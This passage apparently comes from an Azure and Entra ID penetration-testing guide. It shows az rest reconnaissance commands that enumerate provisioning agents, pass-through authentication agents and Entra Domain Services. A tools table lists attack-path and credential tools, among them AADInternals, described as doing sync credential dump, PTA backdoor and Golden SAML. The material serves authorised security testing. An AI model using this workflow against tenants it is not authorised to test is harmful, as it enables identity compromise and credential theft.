--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents?\$expand=agentGroups"
# are there pass-through authentication agents?
# requires: OnPremisesPublishingProfiles.ReadWrite.All or equivalent
az rest --method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?\$expand=agents"
# is entra domain services deployed?
# requires: ARM Reader on at least one subscription
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" --body '{"query": "resources | where type == \"microsoft.aad/domainservices\""}'
Tools Reference
| Tool | Primary use in this workflow | Install |
|---|---|---|
| AzureHound | Attack path graph - surfaces edges and shortest paths to high-value targets | https://github.com/SpecterOps/AzureHound |
| BloodHound | Visualizes AzureHound output; run “Shortest Paths” queries | https://github.com/SpecterOps/bloodhound-cli |
| CloudPEASS | Try-based permission discovery; flags dangerous configurations across both planes | https://github.com/carlospolop/CloudPEASS |
| ROADtools / roadtx | Entra ID snapshot; JWT payload decode; app role resolution | pip install roadrecon roadtx |
| MicroBurst | Try-based ARM resource discovery across subscriptions | https://github.com/NetSPI/MicroBurst |
| AADInternals | Token export, sync credential dump, PTA backdoor, Golden SAML | Install-Module AADInternals |
| entrascopes.com | Reference for Graph API app role GUIDs → human-readable names | https://entrascopes.com |